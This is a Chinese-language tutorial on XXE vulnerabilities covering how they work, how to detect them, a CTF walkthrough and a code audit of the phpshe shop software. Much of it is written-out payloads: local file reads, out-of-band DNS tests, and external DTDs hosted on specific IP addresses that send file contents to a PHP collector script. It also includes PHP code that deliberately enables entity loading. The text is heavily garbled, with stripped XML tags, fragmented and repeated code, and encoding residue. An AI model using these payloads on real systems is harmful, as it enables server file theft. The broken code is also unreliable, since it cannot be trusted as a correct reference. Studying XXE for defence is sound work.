。

随着企业对XML技术的广泛应用#xff0c;XXE漏洞也逐渐成为攻击者们利用的重点目标。

一个看似无害的XML文件#xff0c;可能成为攻击者入侵系统的利器。

因此#xff0c…在网络安全领域XML外部实体XXE漏洞因其隐蔽性和危害性而备受关注。

随着企业对XML技术的广泛应用XXE漏洞也逐渐成为攻击者们利用的重点目标。

一个看似无害的XML文件可能成为攻击者入侵系统的利器。

因此理解XXE漏洞的原理并掌握其复现与代码审计技巧对于提升系统安全性至关重要。

本文将深入剖析XXE漏洞的工作原理展示如何在实际环境中复现该漏洞并提供详尽的代码审计方法。

无论您是网络安全初学者还是资深开发者都能从中获得实用的知识和技能。

让我们一起解密XXE漏洞提升我们的安全防护能力。

基本原理

(Entity)实体可以是内部的定义在文档内部或外部的引用外部资源。

外部实体通常用于在

XML

解析器允许解析外部实体那么攻击者可以利用这一点来执行恶意操作。

XXE发现

获取得到Content-Type或数据类型为xml时尝试进行xml语言payload进行测试不管获取的Content—Type类型或数据传输类型均可尝试修改后提交测试xxeXXE不仅在数据传输上可能存在漏洞同样在文件上传引用插件解析或预览也会造成文件中的XXE

Payload被执行

可通过应用功能追踪代码定位审计可通过脚本特定函数搜索定位审计可通过伪协议玩法绕过相关修复等

XXE~payload

file:///d:/e.txt]userusernametest;/usernamepasswordMikasa/password/user带外测试

?xml

http://7drrcs.dnslog.cn%file;]userusernamesend;/usernamepasswordMikasa/password/user引用外部实体dtd

?xml

http://127.0.0.1/evil2.dtd%file;]userusernamesend;/usernamepasswordMikasa/password/user-----------------------------------------------------------------------------evil2.dtd!ENTITY

send

http://47.94.236.117/test.dtd%remote;%all;]rootsend;/root-------------------------------------------------------------------------------服务端test.dtd!ENTITY

all

http://47.94.236.117/get.php?file%file;get.php?php$data

$_GET[file];$myfile

null;libxml_disable_entity_loader(false);$xmlfile

file_get_contents(php://input);try{$dom

new

DOMDocument();$dom-loadXML($xmlfile,

LIBXML_NOENT

simplexml_import_dom($dom);$username

$USERNAME

sprintf(resultcode%d/codemsg%s/msg/result,1,$username);}else{$result

sprintf(resultcode%d/codemsg%s/msg/result,0,$username);}}catch(Exception

$e){$result

sprintf(resultcode%d/codemsg%s/msg/result,3,$e-getMessage());}header(Content-Type:

text/html;

null;libxml_disable_entity_loader(false);

$xmlfile

file_get_contents(php://input);try{$dom

new

DOMDocument();$dom-loadXML($xmlfile,

LIBXML_NOENT

simplexml_import_dom($dom);$username

$USERNAME

sprintf(resultcode%d/codemsg%s/msg/result,1,$username);}else{//$result

sprintf(resultcode%d/codemsg%s/msg/result,0,$username);}

}catch(Exception

sprintf(resultcode%d/codemsg%s/msg/result,3,$e-getMessage());

text/html;

null;libxml_disable_entity_loader(false);

$xmlfile

file_get_contents(php://input);try{$dom

new

DOMDocument();$dom-loadXML($xmlfile,

LIBXML_NOENT

simplexml_import_dom($dom);$username

$USERNAME

sprintf(resultcode%d/codemsg%s/msg/result,1,$username);}else{//$result

sprintf(resultcode%d/codemsg%s/msg/result,0,$username);}

}catch(Exception

sprintf(resultcode%d/codemsg%s/msg/result,3,$e-getMessage());

text/html;

http://43.139.186.80/evil2.dtd%remote;%all;]rootsend;/root---------------------------------------------服务端evil2.dtd!ENTITY

all

http://43.139.186.80/get.php?file%file;get.php?php$data

$_GET[file];$myfile

$data);fclose($myfile);?捉包替换数据包内容将1.txt的内容带到服务端

CTF赛题

靶场地址http://web.jarvisoj.com:9882/htmlheadlink

href//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css

relstylesheet/script

src//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js/script/headbodydiv

classshowtextarea

onclicksend()Go!/button/divscriptfunction

XHR()

[Msxml3.XMLHTTP,Msxml2.XMLHTTP,Microsoft.XMLHTTP];for

(var

ActiveXObject(IEXHRVers[i]);}catch(e)

{continue;}}}return

document.getElementById(evil-input).value;var

xhr

XHR();xhr.open(post,/api/v1.0/try,true);xhr.onreadystatechange

function

JSON.parse(xhr.responseText);tip_area

document.getElementById(tip-area);tip_area.value

data.task.searchdata.task.value;}};xhr.setRequestHeader(Content-Type,application/json);xhr.send({search:evil_input,value:own});}/script/body/html//可以看到XMLHttpRequest猜测存在xxe漏洞·捉取数据包并修改内容和类型

POST

zh-CN,zh;q0.8,en-US;q0.5,en;q0.3

Accept-Encoding:

源码链接https://pan.baidu.com/s/15O6Hf2tM90T3ZEp9E2x_Ew?pwdcong

首先放入审计系统

最后追踪到这个路径D:\phpstudy_pro\WWW\phpshe\include\plugin\payment\wechat\notify_url.php

发现xxe漏洞因为通过源码发现他的返回结果是固定的所以利用无回显文件外带即可任意读取

通过本次学习我们不仅深入了解了XXE漏洞的原理还掌握了复现该漏洞的具体步骤和代码审计的方法。

安全防护不仅是技术问题更是一种意识和态度。

通过对XXE漏洞的全面剖析我们能够更好地识别和修复潜在的安全风险从而保护我们的系统和数据安全。

在信息安全的道路上没有终点。

希望本文能为您在安全防护方面提供有价值的指导和帮助激发您对网络安全的持续关注和兴趣。

让我们共同努力构建一个更为安全的网络环境。

如果您有任何疑问或宝贵的建议欢迎在评论区与我们互动。

感谢您的阅读期待您的反馈与分享